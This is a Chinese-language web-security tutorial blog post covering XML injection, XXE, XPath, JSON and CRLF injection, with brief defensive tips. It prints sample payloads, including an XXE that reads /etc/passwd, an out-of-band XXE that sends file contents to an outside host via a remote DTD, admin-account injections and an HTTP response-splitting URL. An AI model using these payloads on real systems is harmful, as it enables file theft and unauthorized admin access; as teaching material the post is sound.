WEB安全第五篇--其餘注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入

零、前言php

  最近作專心web安全有一段時間了,可是目測後面的活會有些複雜,涉及到更多的中間件、底層安全、漏洞研究與安全建設等愈來愈複雜的東東,因此在這裏想寫一個系列關於web安全基礎以及一些討巧的payload技巧以便於備忘。不是大神、博客內容很是基礎,若是真的有人看並且是大牛們,請不要噴我,歡迎指正個人錯誤(水平有限)。html

1、XML注入:node

  一、本質:web

  XML是一種數據組織存儲的數據結構方式,安全的XML在用戶輸入生成新的數據時候應該只能容許用戶接受的數據,須要過濾掉一些能夠改變XML標籤也就是說改變XML結構插入新功能(例如新的帳戶信息,等於添加了帳戶)的特殊輸入,若是沒有過濾,則能夠致使XML注入攻擊。json

  二、舉例說明: 安全

 1 """
 2 原始組織數據以下:
 3 <USER role="guest">
 4 <name>user1</name>
 5 <password>uesr1</password>
 6 <email>user1@test.com</email>
 7 </USER>
 8 用戶本應提交的數據是user1 , user1 ,user1@test.com
 9 若是用戶提交的數據是
10 POST下
11 name = user1&passwd=user1&email=user1@test.com</email></USER><USER role="admin"><name>attack</name><password>attack</password><email>attack@test.com
12 就會致使生成一個新的管理員帳戶attack
13 """
 1 /*
 2 (1)有回顯,直接讀取文件
 3 */
 4 <?php 
 5     $xml=$GET['XML'];
 6     $data = simplexml_load_string($xml);
 7     print_r($data);
 8 >
 9 /*
10 攻擊請求get a.b.c.d?xml=<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><name>&xxe;</name></root>
11 */
12 /*
13 (2)引用遠程server上的XML文件 讀取文件
14 */
15 /*#1.xml:
16 <!ENTITY % a SYSTEM "file:///etc/passwd">
17 <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com%a;'>"> %b;%c
18 #payload
19 <?xml version="1.0" encoding="utf-8">
20 <!DOCTYPE root [
21 <!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
22 %remote;]>
23 */
 1 <!--原始XML爲:-->
 2 <?xml version="1.0" encoding="UTF-8"?>
 3 <adminuser>
 4 <admin id="1">
 5 <name>admin</name>
 6 <password>admin</passsword>
 7 </admin>
 8 </adminuser>
 9 <!--
10 例如攻擊者能夠修改password部分,則能夠以下構造:
11 輸入:
12 <admin></password></admin><admin id=2><name>test</name><password>test</password></admin>
13 那麼XML文件則會變成:
14 -->
15 <?xml version="1.0" encoding="UTF-8"?>
16 <adminuser>
17 <admin id="1">
18 <name>admin</name>
19 <password>admin</passsword>
20 </admin>
21 <admin id="2">
22 <name>test</name>
23 <password>test</passsword>
24 </admin>
25 </adminuser>
26 <!--
27 增長了一個管理員權限帳號。
28 -->

  三、危害:cookie

    #常見攻擊手段包括:session

    #讀取本地文件(可能包含敏感信息 /etc/shadow)數據結構

    #內存侵犯xss

    #任意代碼執行

    #拒絕服務

  四、防護:   

    #對有改變XML結構的特殊輸入進行過濾或者編碼
    #filter list = ["&","<",">","'".'"',"/"]
    #在XML保存和展現以前都須要

2、Xpath注入:

  一、本質:

    #Xpath是相似SQL的一種從XML結構中搜索節點數據的語言(DSL),其注入放手就是構造完整可執行的DSL,本質與SQL注入同樣。

  二、舉例:    

    通常結構//nodename[ colunmname/colunmtype()="xxxxxx" and .......]
    例如:
      //USER [username/text()="admin" and password/text()="123456"]
    注入就是在引號內內容着手構造:
      例如password=> 111" or "2"="2

  三、防護:
    防護很簡單,過濾特殊輸入字符便可。

3、Json注入:

  一、本質:

  @json也是傳輸數據的一種格式,增長一個用戶的json結構以下:

  {"adduser":[{"username":"admin1","password":"123456"}]},能夠注入多增長一個 password=>123456"},{"username":"admin2","password":"123456

  二、防護:

    過濾關鍵字便可。

4、CRLF注入也叫HTTP響應截斷:

  一、本質:

  也叫CRLF注入攻擊。CR、LF分別對應回車(%0d)、換行(%0a)字符。HTTP頭由不少被CRLF組合分離的行構成,每行的結構都是「鍵:值」。若是用戶輸入的值部分注入了CRLF字符,它就有可能改變HTTP報頭結構。

  二、舉例:假設數據部分是xss payload則會中招啊

 1 """
 2 (1)REQUEST-METHOD : GET
 3          URL : http://a.b.c.d/index.html?language=Chinense
 4          RESPONSE : 
 5               HTTP/1.1 302 Moved Temporarily GMT\r\n
 6               Date: ********
 7               Location:http://a.b.c.d/zhcn.html
 8               Server:******
 9               ******
10 (2)REQUEST-METHOD : GET
11          URL : http://a.b.c.d/index.html?language=Chinense%0d%0aContent-       Length%3a+%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a%+text%2fhtml%d%0aContent-Length%3a+24%0d%0a%3chtml%3eI%e2%80%99m+hacker!%3c%2fhtml%3e
12          實際上就是:
13          Chinese
14          Content-Length:0
15 
16          HTTP/1.1 200 OK
17          Content-Type:text/html
18          Content-Length:24
19 
20          <html>I'm hacker!</html>
21 
22          RESPONSE : 
23               HTTP/1.1 302 Moved Temporarily GMT\r\n
24               Date: ********
25               Location:http://a.b.c.d/zhcn.html
26               Content-Length:0
27               
28               HTTP/1.1 200 OK
29               Content-Type:text/html
30               Content-Length:24
31              
32               <html>I'm hacker!</html>
33               Server:******
34               ******
35 
36 37 修改編碼格式,避免過濾函數過濾掉經常使用惡意payload符號的UTF-8,GBK,Unicode編碼.
38 39 
40 固然能夠不加新的http響應頭,直接注入\r\n(CRLF)和payload
41 
42 常見的容易出問題的PHP函數
43 header()
44 setcookie()
45 session_id()
46 setrawcookie()
47 
48 位置:
49 location   -> 重定向到惡意地址
50 set-cookie -> 把本身數據寫入cookie
51 """

  三、防護:

    限制用戶輸入的CR和LF,或者對CR和LF字符正確編碼後再輸出

相關文章
相關標籤/搜索